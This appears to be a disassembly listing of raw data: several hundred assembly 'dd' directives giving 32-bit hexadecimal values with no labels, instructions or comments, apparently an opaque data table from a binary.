		dd 90B2E065h, 0D4483D7Ch, 0BCC6E00Fh, 816E255Bh, 8EC8DD70h
		dd 0FD985C77h, 0E4D5F607h, 0C734F3E8h, 0BC25F864h, 0F4DC2EF8h
		dd 3294F22Ch, 3757EA56h, 89ADC639h, 55AD6079h, 59F23367h
		dd 2E2A6AC2h, 2159A61Bh, 0D92202DAh, 47BEEACh, 8F72A362h
		dd 0C9DEAEABh, 20B789EDh, 6A0C5663h, 0BEB44837h, 0E8DFC8CAh
		dd 0A0914F31h, 3E174E7Fh, 267F2984h, 7078F0A0h,	3C8648BAh
		dd 50606DA5h, 484E7F62h, 0B57FD6D4h, 0B6C3435h,	270FA14Fh
		dd 2B773754h, 93739E88h, 7F8F0FF7h, 0C2D4B5A2h,	0AF6E8A39h
		dd 954CF2B0h, 0FC1EA2AEh, 0D977D40Dh, 0B35890C0h, 0B46F66E3h
		dd 1F7F849Bh, 0D3E8C0AEh, 95206D83h, 0C71C0D73h, 1D552949h
		dd 24ECAD06h, 0BF68A5D0h, 0B4527AF6h, 78D7582h,	16E897FBh
		dd 56769BCEh, 0E2DBB4A9h, 64E38596h, 0D3B6580h,	75BE9330h
		dd 159A52DBh, 24E85CD0h, 0CCD440D7h, 73B2DC62h,	306110F2h
		dd 0F81595BFh, 3A37B7AAh, 0A0D9C2A5h, 0DC7273ECh, 0EAD4ADFDh
		dd 0F1D6562Ch, 0B17ECA98h, 6114CCE0h, 7D169A57h, 0BA52A401h
		dd 0E7D2ED68h, 0AA44253Fh, 0DBF28D5Ah, 3C9DE0EFh, 9F7B947Fh
		dd 4CF51516h, 0BAE080BFh, 0A59B075Ch, 5B00567h,	3BF4AC35h
		dd 851A0D7Fh, 0D79FC22Fh, 0E2BECD32h, 3C6081EEh, 0F59A7932h
		dd 1891E59Ch, 5861DBC6h, 783318CCh, 4FB2BB50h, 0C5F040B7h
		dd 2461F8Dh, 97DD9BC9h,	0BB141398h, 0CE26CC0Bh,	0F3D5795Fh
		dd 0C6D11D85h, 4E2A4063h, 0EEF87DFAh, 3B63B8h, 9CFDB1Eh
		dd 53E0B08h, 0AEB6F49h,	4CE4A378h, 7CA45F45h, 0B16BA281h
		dd 47C85310h, 0D9E4EF17h, 0B81F42B1h, 8972DEDDh, 0FBDB64C1h
		dd 0F13F1689h, 6775B05Ah, 0D7993779h, 0FE5CACC1h, 89E8F9FDh
		dd 27FD60ACh, 0B6633FFBh, 7FBBD9C1h, 15A6AEF4h,	0DB70F54h
		dd 0AC7BE71Dh, 65CE42EEh
		dd 5F6F999h, 0CC07DE9Ah, 8D82CFE0h, 0EFBD06ABh,	31D5F992h
		dd 37CAF612h, 97AA920Ah, 51916549h, 0D14096ADh,	50D2DAE2h
		dd 9BB92CCAh, 0D6B766FFh, 52C5F4DCh, 30BB0A87h,	0E1CB47FAh
		dd 5DE8B393h, 0CB47ACC8h, 6E08C100h, 52A368EFh,	0C6E89387h
		dd 836CDEF1h, 40131182h, 46B9781Ah, 18A51754h, 9E4DF6ABh
		dd 171B9DF0h, 0EB6081D8h, 9B037EDEh, 8B839ED6h,	378E9DC9h
		dd 98248D37h, 0AA8EAFBEh, 0EC2EB5B5h, 48881275h, 3BFC0F3Ah
		dd 0BDBDCCA9h, 727BAE56h, 0C317C58Ch, 4DD482CDh, 0AF56571Ah
		dd 5D14F81Dh, 8E2B778Eh, 0D504C6D1h, 7B070127h,	2B67AAE2h
		dd 0FD04A476h, 9008CFB3h, 0D99EA9DAh, 34BFAB06h, 55D278AEh
		dd 6A77322Eh, 0F0E1818h, 336DB034h, 0FE210D0Ah,	180349ECh
		dd 7B94E381h, 13E9B883h, 48D654A6h, 7C05B045h, 5032861h
		dd 0D5ED401h, 6E0CA142h, 0E3AFB946h, 0E34CD4B3h, 14DD377Ah
		dd 593405ACh, 6C1702DEh, 8291354Fh, 17DF099Dh, 64E42071h
		dd 5D85ACEEh, 0EEBA1FA2h, 9EA90360h, 0C61B433h,	40E3295Bh
		dd 0B46A6AEAh, 573744D3h, 4F9C3438h, 405BBA88h,	91601842h
		dd 3B2DDF2Ch, 775A2E14h, 0FA6B9736h, 463F9C53h,	2490EF6Bh
		dd 0BD15ABABh, 9CEF41CFh, 51CFCD9h, 4233E1BEh, 46D4DA30h
		dd 0F3A95AE3h, 95C93103h, 0FC607EBDh, 0CB67DE7Eh, 0EC20D78Ch
		dd 0C7224957h, 0B47F611Eh, 53CE9B57h, 0B2B9595Ch, 78CB7DB9h
		dd 2CCD6005h, 7631C4B1h, 0D63C5A98h, 5A38591h, 6926991Fh
		dd 160B7C49h, 1AC186C0h, 0F87AA7F9h, 1D102DA8h,	4D783C08h
		dd 1A89754Eh, 476AB75Ah, 0BFA60A6h, 0FC7ACCDBh,	7A594E00h
		dd 0D2E9A3F5h, 9E0F8206h, 30DAA54Bh, 19E1AA14h,	0A9612864h
		dd 72AA8A99h, 0AA792F80h, 0C341E0FDh, 0F8157C75h, 0D26EF165h
		dd 198DF41Bh, 0A0EEAE39h, 0B5BC97DFh, 8DBFE464h, 0AA605B6Ah
		dd 0FD671C0Dh, 0B1146A86h, 2F8CBD3Ah, 16F801AEh, 0D3B2E2E5h
		dd 0BCE63CF6h, 2F44A90Fh, 0C0E26D4Dh, 4ADC2F25h, 0A3EDC16Bh
		dd 0A6A0621Eh, 99CDD79Ah, 0D4085CABh, 4D484514h, 0C23325EDh
		dd 17BA0843h, 0D4EE103Fh, 0AAC5E4A3h, 5A78462h,	60D5EF42h
		dd 1DAB944Dh, 0DB1AEEC3h, 6D501A85h, 0A2B908D7h, 4294124Bh
		dd 7FAC43AAh, 70301AC6h, 0DF4BBE1Dh, 4A089C88h,	0CA168FF6h
		dd 0BC46FBD2h, 0A54B3BADh, 0B7086D4Eh, 9A0306A9h, 62CEADFEh
		dd 5A3CF129h, 0BC22BCB6h, 95695EC8h, 625520DCh,	0B2AE6DB6h
		dd 41FAC2C7h, 6E0056D3h, 1687E33Fh, 2E353502h, 0EB68967Ah
		dd 0C51F011Ah, 0C0F3ADBCh, 7BD1DE0Fh, 1A3CD3C6h, 3A412DC8h
		dd 0B53264FDh, 0B33B924Fh, 70553B45h, 0CD9E8FF4h, 394D7CB7h
		dd 0C42BDDD0h, 29E1F5EAh, 1C1E43B0h, 7D5F9F08h,	271AE59Ah
		dd 0F106C633h, 0D52DC687h, 0C038DAF4h, 0C3ABC5h, 80AEBE20h
		dd 0D3D56940h, 8AAE57F0h, 0B73DCF59h, 10A8DA39h, 5099CCD2h
		dd 0B381F8E7h, 0F6FE792Ah, 9C61E894h, 0E945821Ah, 0ACB1040Fh
		dd 8FCA1F3Eh, 0BBBA5D73h, 9C31D2D6h, 2B2E556Bh,	47CFD7D1h
		dd 38D1C9C5h, 0BCAB139Ch, 0D27BB10h, 5CE55648h,	4E56093Eh
		dd 7D5B749Ah, 0A9A35C7h, 54A17B60h, 0A916D407h,	23E05281h
		dd 648197F6h, 4EDF9013h, 5B4F87E2h, 0B0B9A05Ch,	732256FAh
		dd 3F392B56h, 2C232104h, 0EABF0B45h, 0A6EBA171h, 0BAD19E59h
		dd 885024F4h, 5C6852B8h, 297F8612h, 4B3087CCh, 7B64F924h
		dd 0FA40D336h, 0EA062566h, 7F8FAEB5h, 0C8D3754Ah, 1A9775ECh
		dd 0CB3BD501h, 59FCE667h, 0EFC5DF48h, 84211A9Dh, 1F20AA40h
		dd 0B6DB30D7h, 9E0B9B9h, 85545C8Ah, 0A5F68A9Eh,	0DB066D58h
		dd 6E0D642h, 93A3C68Ch,	0C20BF22Fh, 533DB73Ah, 4705F837h
		dd 0A6683A6Dh, 845AE308h, 0D50D9294h, 256B7C8Dh, 379D1CC6h
		dd 0E1AF805Fh, 0A15EABB6h, 9F187E13h, 992D040Eh, 9D251DEh
		dd 4FBED80Dh, 38BE2D75h, 0AC4D26F2h, 0FF1F140Fh, 0AC3B845Dh
		dd 0B0082A1Fh, 0EF8FFDD3h, 0D2BA411Bh, 14BE65F5h, 0B3372C6Dh
		dd 858295BCh, 0C588F74Fh, 1C35A81h, 31B7787Eh, 7BDA710h
		dd 182BF475h, 9E0026Eh,	0CE72D367h, 8735E585h, 438BF27Bh
		dd 3CAE260Dh, 0A40CA629h, 1B05BA59h, 0B535F611h, 0ECD24301h
		dd 1F591551h, 92A4F6Eh,	53D8740Fh, 0AB81E12Ch, 8A52E18Ah
		dd 0A03968A9h, 3CA2D37Dh, 8AC187F2h, 0A1D7D517h, 0F768FF77h
		dd 0EDA01865h, 0F9342048h, 0E36AF61Ch, 7A22A11Bh, 7CFD0D04h
		dd 941F92ADh, 64CA0A47h, 0CD66A551h, 316F28E6h,	25FCD070h
		dd 0C954717Ch, 0D06AF635h, 31FDA003h, 5FC684D2h, 27E21C8Dh
		dd 0D0DEE07Dh, 0FC0BDFB5h, 6D34E0C0h, 9B5C5470h, 0BB587035h
		dd 0A4414056h, 6BB3C0F0h, 4080182Dh, 3F1ACBB0h,	4968DEBBh
		dd 37352238h, 0AC4172ABh, 5813B2B9h, 2DC14EC4h,	250A5198h
		dd 0A2D751BEh, 7EEC0F1Eh, 535F6D6h, 607FD020h, 0A84E3B70h
		dd 0BC5CFCD9h, 905DD460h, 2A568CD6h, 9257850Dh,	0F515E95h
		dd 5F409509h, 43D03523h, 1B446F6Fh, 6D6FA221h, 8982DD37h
		dd 8AB73373h, 9C0FB612h, 673D2B9Bh, 5A925912h, 5B87C79h
		dd 0B4AF333Bh, 0FDD6E1F8h, 6E9E9C34h, 0F906B70Eh, 9C954ED1h
		dd 11EBF60Bh, 56F03F39h, 4587D34Ch, 0E17130FFh,	488601E8h
		dd 469A4767h, 6A8AF75Bh, 0A6B7858Dh, 0A2FB15E8h, 16049A3Fh
		dd 6B07C43Fh, 0B8CA5F1Bh, 2DBED16Ch, 0F4F21E8h,	0F896824Ch
		dd 34172D6Dh, 27EFC08Ah, 0F5E0AF86h, 0D58E6EB3h, 0E66E2F15h
		dd 67C0FBC3h, 8F51CC51h, 54D302A2h, 8CA545E2h, 0DB8572C0h
		dd 0F8B8B2EFh, 0AAD6A62h, 3719CCEFh, 4BC6009h, 27164FF5h
		dd 0D207D51Eh, 2B656892h, 9805A2A9h, 0C09218ACh, 2C9045E9h
		dd 0B30B50ACh, 1151DF27h, 3EC58F4Ch, 1DB31D51h,	72CA83F1h
		dd 0FEBA1588h, 0E9C68F93h, 125A4684h, 55B17F01h, 7956ED53h
		dd 0A80ABEAAh, 343F01BCh, 56693065h, 6A9515C4h,	24BB6815h
		dd 0AC52BCD3h, 49819781h, 4FEE3D50h, 0B448F61Fh, 6930D2C5h
		dd 3DD479FAh, 50146A07h, 6E67C5E0h, 0F1E1B813h,	5A2B3C22h
		dd 52F12D95h, 531CA5D5h, 61F89551h, 0DACE5A23h,	2DAA5B52h
		dd 0FDF34376h, 9DF6EB44h, 783C083Bh, 4C167EFFh,	0A080AB5h
		dd 7FA1C060h, 0C6CAEA43h, 155A7A79h, 0BDBA9F7Dh, 92AE05B8h
		dd 1D602AF0h, 5B8D2E18h, 0DE1BB50Bh, 526E3B19h,	8820EEF5h
		dd 0B8BA6F40h, 22757743h, 355FE5A1h, 6502CF8Ah,	168E053Fh
		dd 7315D78Ch, 7DA9946h,	0C9844E5Fh, 3D0FC268h, 296D38D9h
		dd 0B9936493h, 4AD017FCh, 0FC768A01h, 5521DA69h, 5AEACD8h
		dd 572A2A7Fh, 6727F897h, 0C77297E6h, 0E402BC2Fh, 7BE72DDDh
		dd 0B606E1F3h, 6D0373E1h, 381E5E3Bh, 7D2BFA61h,	0E5D23E80h
		dd 754194EFh, 0B17D3580h, 4E55A213h, 99BE292Eh,	7E271496h
		dd 0CE3E542Ah, 0CE2AEE06h, 16281E5Eh, 0FE5FF5B4h, 0BD5B5F15h
		dd 6A245456h, 7DD234B4h, 1F34BD95h, 169224F9h, 0B7CA15A3h
		dd 6065143Bh, 33AA1482h, 6643A13h, 61BE0267h, 395A45BCh
		dd 16E5266Ah, 0F28D27E3h, 6A3E07h, 0BCBD9834h, 728FA36Ah
		dd 2995DE1Ah, 0B620AE43h, 9012FF80h, 24548FAAh,	5F36C24Dh
		dd 7574442Ah, 0DEF88BF7h, 1575EA1Ch, 0E76C2545h, 3F5C1E34h
		dd 4964423Dh, 0DB1D500h, 921E6BEDh, 5C44BB0h, 0C0EB70C1h
		dd 0AF40228Dh, 19F6C140h, 79EBA76Bh, 28128D46h,	97FAAE1Fh
		dd 0B2B15131h, 0A5F7BAE9h, 7039B71Eh, 60674743h, 0E3839A8Bh
		dd 0D484D321h, 43C042EDh
		dd 195E5057h, 0DFB80ADBh, 2957C5FFh, 55655BD8h,	0F26D48DFh
		dd 542D3C48h, 0C814F9FAh, 0CA5486A5h, 5E8E1603h, 4151AEF8h
		dd 272E6B5Eh, 0DBD607DDh, 3CA7CFACh, 42510ECBh,	0D372C5FFh
		dd 0D01F4E93h, 0D1C882DEh, 1401B9D5h, 0EE143050h, 0A8D58E1Eh
		dd 0EFBF874h, 242E7F20h, 3452EEA3h, 0A0081E43h,	4A4194DDh
		dd 684CD14Dh, 846F3608h, 66C92484h, 4C7805B1h, 0F055EE4Ah
		dd 0B409B3F8h, 0FF0C7AB8h, 0E189445Dh, 79B1306h, 42F8BB2h
		dd 0B2607F36h, 0FBD7600Bh, 0B89A909Ah, 0F82DC559h, 0ABFA24h
		dd 940B040Eh, 8BFCC494h, 0F61A00D3h, 0AAA285BDh, 0CF364408h
		dd 9FCDC531h, 0E12147B3h, 5722E6E7h, 31616593h,	0AA1DEB5Ah
		dd 0AF55AADFh, 4F42303h, 0E3A24724h, 0EA2E9EBDh, 2E16C1FAh
		dd 3086ECAh, 0DD462FC3h, 0A244AF4Bh, 77DA89FCh,	0F82AB26h
		dd 5839ED71h, 0C396C14Bh, 5EF76CD1h, 0CC044E0Eh, 85A2CBA5h
		dd 50D9AAD2h, 226A0D1Bh, 1FDDF6BCh, 0A4A11F43h,	1B5AF96Fh
		dd 607EEB44h, 4AE00E74h, 0DFE70DDBh, 0C53D0AB4h, 0FD53B474h
		dd 33FADFB6h, 7B7759Bh,	6755405Bh, 0A58EB478h, 0E9A137BFh
		dd 0FB670E70h, 3DBA39C2h, 0E86E6561h, 1B59A824h, 0EB7D8A07h
		dd 980415C3h, 0F46B93E7h, 0A0BDD9D7h, 0A16B7669h, 1349D987h
		dd 0E22804DEh, 0CD39BD6Bh, 0BD925E08h, 0BCFC93E7h, 5A2D3375h
		dd 0D23D4EE1h, 0C3F0F506h, 0B2B13C75h, 0DAE6C023h, 0CBB48253h
		dd 39768D6Eh, 9878EDB0h, 0F3717C58h, 15FD7342h,	19555364h
		dd 29DCCB5h, 0BD115A65h, 2BD6B551h, 0F9AE895h, 0E5E55B46h
		dd 0B44CA40Fh, 0AA3425C9h, 25521F2Bh, 7B636ECh,	0C765E86Bh
		dd 0F17C9AEh, 9E0D5AC0h, 0F888DEB7h, 0FC42FCABh, 0FE4B1567h
		dd 2FEAEB44h, 0F01AF85Ch, 5571423Bh, 0F25954AEh, 0FB42A6ABh
		dd 55D120Bh, 0E6DD009h,	0BDE7783Ch, 50D0F85h, 52475FCFh
		dd 97F071F9h, 76F8D818h, 40E176B8h, 0CDA26E6Dh,	0A59B1796h
		dd 3789C545h, 2AD58094h, 8B604A77h, 26F61DB2h, 0E1C5E6A1h
		dd 5274EACCh, 203ED217h, 0E902B9B2h, 12BA0D42h,	0A368C07Dh
		dd 0F62457AFh, 8CBF2397h, 89049A3Dh, 4943D9D9h,	8AE1B897h
		dd 6F64CE9Fh, 89C097D6h, 623A593h, 0F76C4472h, 6948FAD8h
		dd 7D5EED2h, 88D4699h, 0BA08CED6h, 641F1755h, 8414A97Eh
		dd 307CAA00h, 2CD8F7D0h, 0D9911221h, 0F926F44h,	0EDEE929Ch
		dd 590057ABh, 747C98E7h, 0B967EB5Bh, 62AE69DEh,	1FC50D85h
		dd 29D45562h, 7242F358h, 2BCD5079h, 31EBE39Ah, 14A00B27h
		dd 20BA59ADh, 0BBDD4A74h, 3F79CAFDh, 63A3C050h,	4A94EE2h
		dd 5F5409DCh, 6A6A038Dh, 2C4B22FBh, 64AA4AA7h, 0BD45D688h
		dd 69A702Ah, 0FCFEF4ADh, 0D42CB8B8h, 0F87E3386h, 0E0EB7464h
		dd 903E6CEDh, 0F03E2DD4h, 0E0FBA22Fh, 324BF0E5h, 84C82362h
		dd 0F063F352h, 0AEBE195Dh, 5905365h, 135FAF53h,	5AB89968h
		dd 3230FC34h, 5B46139Fh, 7EB607C3h, 2AF74815h, 48DB3961h
		dd 7EB9380Eh, 0A66D5EB1h, 0F0C2874Bh, 174B19C9h, 68E3A5EDh
		dd 0ED4C95BEh, 0AA6C2568h, 18AF5ED1h, 0A75AE5B6h, 19604CF4h
		dd 5A731CEFh, 98DDE8E0h, 72BEC5A2h, 0ED7E06BFh,	54DA47DEh
		dd 1809DE0Dh, 8DFA285h,	0D4AC5B41h, 49479207h, 0C187E36Bh
		dd 6BB1EDF7h, 0ACFD6F98h, 9DAA28Dh, 0E5A90A76h,	3E560356h
		dd 0AD080AE9h, 0F3EB1014h, 0BA92359Ah, 7EFC9080h, 53889B28h
		dd 7B7DA81Fh, 9C36D97h,	38CA894Ch, 0B00A593Ch, 368E3158h
		dd 0AF5152EEh, 0E1A1E0C5h, 65B3D470h, 80D140C3h, 0CF05F701h
		dd 5D765A47h, 0DAC3D140h, 0FA9D15FBh, 0F1A9134Ah, 0B28A8938h
		dd 0B5290C43h, 36D139h,	0A9B55B7Dh, 0FB381E1Dh,	2E995EEDh
		dd 0C0FBA041h, 0B4E6D4AFh, 0D895EF18h, 0A4BA1F82h, 9A6AC4AEh
		dd 0A9F0154Bh, 0BD411BF5h, 0C28DAF91h, 0D66E6EE0h, 0A183BEFDh
		dd 15C12241h, 6246BA67h, 0B07C4F86h, 269BF429h,	55FC0368h
		dd 22FAA62Eh, 0CCB51B78h, 0DC49986Dh, 649A00AFh, 77323E8h
		dd 43F2B45Fh, 0DBB83C98h, 0B8AAADA5h, 178D030Dh, 27D76895h
		dd 4CDA31B0h, 0FA354C64h, 0B47D7E53h, 0D42E968h, 742AFCEEh
		dd 197F57F2h, 473B8997h, 0E171F8BAh, 0FF1D4178h, 0DED26794h
		dd 45213511h, 0DFEDAB44h, 0D6D9D607h, 0FD0FAE7Dh, 0B1224D99h
		dd 0BCF1D16h, 13B0B4FDh, 0F8FF5E94h, 0A78A1152h, 4999A14Dh
		dd 0A0BA9977h, 0F636B8E1h, 2FCEC666h, 52CABA8h,	0CA453068h
		dd 2A86F80Eh, 0B7F8570Fh, 1730C1F0h, 0E05AF9Bh,	529777F0h
		dd 0A5F9672Ah, 405F1F3h, 8F6AB928h, 98AA02B3h, 0B5C3957h
		dd 587D4AD1h, 6DFBF229h, 8F1750BCh, 5F695CE1h, 4A07EB9Bh
		dd 856B1AF7h, 0F3FEC61Dh, 4A33F65Dh, 7BC2F256h,	0EBE778FBh
		dd 0C24FECEh, 5FCF08A6h, 0C5EDE5FFh, 0FD6D653Bh, 14E205D1h
		dd 87E273D0h, 6581AFD4h, 2A4F5A7Ch, 44B2FC44h, 345A36D2h
		dd 6B651703h, 0F39FF83Ch, 0EB149C38h, 0EA91C5F4h, 9F466168h
		dd 0CEF3941Ah, 6C9CB9CCh, 8A7D465Ah, 1156730h, 8E9F560Ch
		dd 7A0BABF6h, 28D35709h, 0CB83F0C1h, 74196CD8h,	0BC0C31B1h
		dd 386C2AE2h, 8DDAE83Ch, 7743E03Fh, 2F7A168Ah, 0DBDE8DCBh
		dd 0D73B404Fh, 0A547296Ch, 0C048514Ch, 414D96C7h, 0C075A8C7h
		dd 0A87C1F47h, 0F2A9D755h, 846EC4B4h, 51A6B02Ah, 8AB90760h
		dd 77F3CB12h, 4575D8BFh, 0F579B7C3h, 320BAE1Ch,	0BFDEED1Fh
		dd 9AE152B5h, 0CAB17FBAh, 0DB7C97EEh, 0F7F648BEh, 178A450Ah
		dd 99302EFEh, 3B0E4ECEh, 0C7E8D7E7h, 0A6D123BCh, 0E837526Fh
		dd 0BAE80899h, 6C446FE5h, 9DC0F82Ah, 37BC0443h,	1B05B4E3h
		dd 0DA74AB5Ah, 39ABB3BBh, 68E91BEFh, 8E966171h,	0E0F09D37h
		dd 0AAC66277h, 0EA7312F7h, 2A20933Fh, 82928D5Dh, 0C2AC3C5Ah
		dd 0B5F8ED8Ah, 8E643F6Bh, 58BA48E2h, 0BF3546A1h, 45C320A5h
		dd 8E6F33EBh, 1418A89Ah, 31C69Eh, 34137F6Ch, 4B00243Fh
		dd 0B22BE3Eh, 0D799E8CFh, 0DA3A5AE0h, 337BB23Bh, 0D7160EA6h
		dd 1C2AFF72h, 0BC0F3B91h, 26A74F40h, 0B6E70EFBh, 0BA56D5ECh
		dd 9F07C10Ah, 7AB880C0h, 82E4A0A8h, 623CBFE1h, 97C9CCDBh
		dd 0F8E7D631h, 0FC92E5A5h, 0B6DB1D9Dh, 0BC08437Ch, 93CD5F12h
		dd 28AB76B5h, 279CBDB2h, 2B4C54E8h, 72B9099Dh, 1D8D415Ch
		dd 0CFBC9A6Ch, 0F22D361h, 0A5F8D5E3h, 0E3EE5210h, 0A860DB08h
		dd 92A0925Ah, 2DF37B75h, 0E164AB7Dh, 0EDD82964h, 70A73219h
		dd 0AD89FB3Eh, 0E277B979h, 0FC5BB71Ah, 7F6A0A12h, 16EC9A06h
		dd 153453EDh, 0AC0F47Ah, 0F38B96F1h, 69B6C15Ah,	7AD7150Fh
		dd 0C8FC29Dh, 0DDC5AF11h, 0DF4C237Dh, 9C9A2A15h, 3594CD17h
		dd 76E30A73h, 82CCECF9h, 0D01C51ABh, 45378AF9h,	6EDA4DC2h
		dd 0E9028BA4h, 476FF368h, 0D88AFE2Eh, 5C28F688h, 0B4539F53h
		dd 5E93B25Bh, 0BE092816h, 7932BD2h, 5060C5FFh, 3B0D7C25h
		dd 5EFCB895h, 687E2BF1h, 3F5B18FAh, 0B7C93DB3h,	7A77294h
		dd 8D74BFACh, 207DAA78h, 0DE6644BFh, 0FADB10D4h, 4C12D79Bh
		dd 25CBCE7Bh, 0A47FA53Fh, 0D383C86Ch, 54F24154h, 6A2B5164h
		dd 6C0DF1C2h, 0ABDEB3D1h, 2A6DD4F5h, 0B58965F3h, 0A8B0C3E8h
		dd 2B94D5Ah, 5E8BF25Ch,	0DFCC3F07h, 0FEA20644h,	0CFAF877Ch
		dd 2BB31764h, 5A8BCC5Dh, 198C6C13h, 153B45Fh, 7916D588h
		dd 13F563C0h, 0F56C995Ch, 23BC0974h, 0E46EE729h, 346AFEBh
		dd 703DD3BDh, 993C6973h, 76011049h, 0C16421F8h,	180AC556h
		dd 26556888h, 3B86C2E1h
		dd 6A63AC60h, 0CB53F8E0h, 7C674CF0h, 0FA04E88Ah, 8002DE76h
		dd 7806EC0Ah, 95D556AEh, 72A006D8h, 0EEF2539Dh,	680AD9BFh
		dd 15259F8Ch, 27EBA6F8h, 8D6E0523h, 0ED7D8C4Ch,	5A745FA0h
		dd 62D705C4h, 91EFAA9Fh, 68B23DBAh, 0D568929Eh,	12B23DB8h
		dd 0BC2E4AA7h, 7E935576h, 6549E7F4h, 144954B0h,	0AAD702F8h
		dd 0D6542973h, 0DC7A123Eh, 0C4F8453h, 931EC0FCh, 38D1C2DEh
		dd 82314C9Ch, 0BDFECCC9h, 5F1B9F19h, 57B95005h,	7933A0F5h
		dd 0A5499686h, 0AEC02A52h, 88AB1355h, 0F7CE7AFFh, 0E3B45325h
		dd 3A62CB9Dh, 0A4DF4175h, 0D2216696h, 0F369E5FCh, 11CADC33h
		dd 0F8091E82h, 9A4DCE4Bh, 8193B3D7h, 0BB503542h, 1BE5AB87h
		dd 0E2F7CE85h, 0A2E53D89h, 89D6C126h, 970795B6h, 0F256634Dh
		dd 4894C6E4h, 4EB506BBh, 83517875h, 28EA36h, 0F3058799h
		dd 0E2FBD505h, 9ACF0FF3h, 9F4F7F35h, 0EFABA1D5h, 45A343F1h
		dd 93A38B08h, 0DF3D1F8Eh, 0F1C6727Ah, 0D0617940h, 3B65D736h
		dd 0C1BE8907h, 3FC67AADh, 74606F1Eh, 4FB2CE13h,	0EC9C7A94h
		dd 26810FEEh, 8985CCB1h, 299E8FA9h, 4ACB1716h, 8B655FB3h
		dd 4AAD7078h, 4AC476CFh, 5D8BF81Bh, 0F08155B7h,	14B12983h
		dd 0C8358CB2h, 7D68AC6Fh, 0B7F17790h, 0EC950D5Eh, 0AA072Bh
		dd 0B38BF7h, 579EF2B0h,	35B5F8B9h, 0B1705C47h, 8547F6DFh
		dd 5433B9CAh, 0C4C79034h, 188AFA35h, 72600590h,	7A2A1527h
		dd 0A0ECCA98h, 0A502D997h, 0ED253FEBh, 28B75FBDh, 0CD3E7BDCh
		dd 986E09D0h, 6CA8C0A8h, 0B624BE7Bh, 439F8C84h,	2F32BB59h
		dd 0D71FAAB9h, 0C5D43D1Ah, 0C76C0678h, 1E45A399h, 3C1B7A54h
		dd 0B1CFB1F2h, 345D396Eh, 0AC14207Dh, 0B664BCB0h, 97A0A524h
		dd 0F8ECFD7h, 8D766349h, 0D291C73Fh, 0C1F382DFh, 55098542h
		dd 701174CAh, 3B168318h, 1B9EE948h, 92297192h, 4A0114D4h
		dd 3A02FF11h, 23E8AE30h, 490FC4F4h, 0EE0D32D8h,	6D6BB7BDh
		dd 0CCC6C17Bh, 0C6C7338Ch, 4786A986h, 0D44C1AA7h, 556FC8E9h
		dd 73768FABh, 0ADF6DB0Dh, 0AD65722h, 0FAAA308Fh, 60AC0934h
		dd 0DE3AB005h, 0C2AD544Ah, 0F21C126Dh, 25C01B3Ah, 93B29E8Dh
		dd 787ADC4h, 18BF9DBDh,	741E6B77h, 8EA568ABh, 0F078B4F5h
		dd 23286281h, 0A42F6741h, 0DEAB9489h, 5F2ABE29h, 0D01B458Ah
		dd 577A9970h, 79308161h, 99F49229h, 0A61C2DEDh,	0C1B24F9Dh
		dd 55A05B37h, 0B785C17Eh, 0EF809782h, 9B5697FFh, 9A74C56Ah
		dd 2C36A2FFh, 82D32DBh,	50030E94h, 24EE3F16h, 0BA76B1C8h
		dd 0FE07DD32h, 0D54D8210h, 9E2AB3F4h, 753EE9C4h, 814EA2ABh
		dd 0F2783D32h, 965FBF5Fh, 7BB6DD7Eh, 0DDC66A8Bh, 96C4C195h
		dd 4A0BEEEAh, 5F537E5Eh, 2B73E839h, 1AC4FCA4h, 7B1C691Ch
		dd 95C1D9F3h, 2DFE0D27h, 47A44580h, 5E061BAAh, 0C34964C1h
		dd 0BADCE6AAh, 6F2DF543h, 0F110585Ah, 0D5E7FAC9h, 8DECEC12h
		dd 0E2CE1E1Dh, 0B1444AFDh, 80D6D36Fh, 0C0F1F8B9h, 2FE6980Bh
		dd 6D5E339Eh, 7C2552E7h, 0F24BEEAAh, 8C27A281h,	0B69F4B31h
		dd 2BE35D46h, 0E92C4A42h, 2048DEA7h, 5336EB66h,	5CDDB094h
		dd 299D17F0h, 0F91E4E63h, 0A4704878h, 6F54399Dh, 0BFA6A3h
		dd 219FFAB8h, 249D166Bh, 8E94C17Fh, 0E78E7B1Fh,	58B6F76Ch
		dd 0A411C52Bh, 0E751B89h, 5FD4CE6h, 0AA10A5A3h,	6FE67492h
		dd 6F5568E7h, 531D619Bh, 2BC006D3h, 5B765E9Eh, 8CF046B2h
		dd 0AC511A9Dh, 952DE1Ah, 1DB661E3h, 130920F5h, 2840D49Ah
		dd 1E656F4Ah, 0E4E59DABh, 0BA259DE4h, 3CB85456h, 2C22B844h
		dd 6DC5CDF2h, 1DA917E4h, 4F02C5C5h, 93FE0300h, 4A0DB8DEh
		dd 382E5261h, 0C137E0C2h, 0AF5EA6h, 958875BCh, 5E157644h
		dd 4EBFD556h, 0C56934ECh, 25E7925Ch, 0F06D19Eh,	0CCC9F170h
		dd 97CC2EC6h, 0D140A3EBh, 6EE895C2h, 0BE43D5BFh, 0D2B8872Ah
		dd 4A0F7F35h, 74AB49A6h, 778E951Fh, 9CAADD89h, 0E40DD9D4h
		dd 8E2B9D0h, 93C3A06Bh,	3E55B12Ch, 0FDF161E2h, 1F378ED0h
		dd 0D6183F33h, 0FE4156Ch, 3BCBCD85h, 1C7EE81Eh,	0CFBB9ED0h
		dd 0BD7C014Fh, 0CC41A20Ah, 0CB50FF8h, 2114ACB9h, 0F7602A90h
		dd 0FC170A80h, 0DAF56230h, 52973C57h, 0A24BC226h, 4B14AF4Ah
		dd 0B3D93536h, 1F8CA95Ah, 1E31CA86h, 5291D77Bh,	96D3658Dh
		dd 0D6A6755Fh, 0A60F84A9h, 57692EAAh, 0E1C87381h, 18198F83h
		dd 0A9408AE2h, 42CF24D9h, 0D91BB7A5h, 342ADB08h, 0EF79B50Bh
		dd 0C8A3AB65h, 4D7078AAh, 0A59186C1h, 67D5CCABh, 1B2AC186h
		dd 0C3B1FDC9h, 91AB2520h, 887D2AD8h, 0BFBDA2F7h, 0A9534D8Ah
		dd 390A9EB7h, 0DAF2A4F0h, 473ABEB0h, 0A9DE965Dh, 30605B5Eh
		dd 0AA0375CEh, 5BC1E147h, 0F025327Bh, 0CF76FDFCh, 2669DFC9h
		dd 63D35D72h, 904C8BFCh, 6E9018FFh, 0BD4A4319h,	8346B9DCh
		dd 40B23362h, 4382BB34h, 0A767A581h, 0FAD8257Ah, 17477BEDh
		dd 8D5FAEB2h, 0F904F0F3h, 5D4412D1h, 2E67A3F7h,	0C8759753h
		dd 872CF76Bh, 7239D5F3h, 55A71651h, 0CAD1BB46h,	5DD3B0B5h
		dd 7232FE77h, 0AA587808h, 5B7E95F9h, 5F1C2DBDh,	55579865h
